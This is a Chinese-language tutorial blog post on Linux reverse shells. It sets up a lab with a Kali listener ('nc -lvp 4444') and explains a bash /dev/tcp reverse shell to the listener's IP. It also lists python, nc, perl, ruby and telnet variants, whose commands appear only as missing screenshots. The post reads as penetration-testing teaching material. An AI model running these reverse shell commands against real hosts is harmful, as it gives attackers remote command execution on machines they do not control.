Linux反弹Shell总结

简介

LInux反弹Shell(Reveser Shell), 也可以称为反向Shell, 由被控制端主动向控制端发送请求建立通讯, 随后将执行命令的结果输出到控制端, 本质上是网络概念的客户端与服务端的角色反转

本篇文章介绍LINUX反弹Shell的多种姿势, 在真实的渗透环境中, 根据客户端存在哪些命令的实际情况, 来采取相应的反弹shell姿势

实验环境

操作系统
IP地址

Kali Linux(服务端)

192.168.47.155

Ununtu Linux(客户端)

192.168.47.151

服务端监听端口

服务端kali监听端口

nc -lvp 4444
image-20221126161342759

客户端反弹shell

1.bash反弹

  • bash -i 表示在本地打开一个交互式BashSehll

  • /dev/tcp是Linux一个特殊设备, 打开该文件相当于建立socket连接, 读写该文件相当于在socket连接中传输数据

  • 0>&1将标准输入重定向至标准输出

bash -i >& /dev/tcp/192.168.47.155/4444表示将bash的标准输出和标准错误输出发送给远程服务器的4444端口。我们只要客户端主机输入命令, 命令执行的结果以及错误提示都会发送给远程服务器

image-20221126173912240
image-20221126173930758

2.python反弹

python3

image-20221126215634494
image-20221126215649332

python2

image-20221126222452893
image-20221126222459319

3.nc反弹shell

-e后面接的参数表示在创建连接后执行的程序

image-20221126220706747
image-20221126220642719

有些老版本的nc不支持-e参数, 可使用如下命令进行反弹

image-20221126221325835
image-20221126221348830

4.perl反弹

依赖/bin/sh

image-20221126221711114
image-20221126222013052

不依赖/bin/sh

image-20221126222110406
image-20221126222126949

5.ruby反弹

image-20221126232240240
image-20221126232254038

6.telnet反弹

image-20221127001032000
image-20221127001043908

最后更新于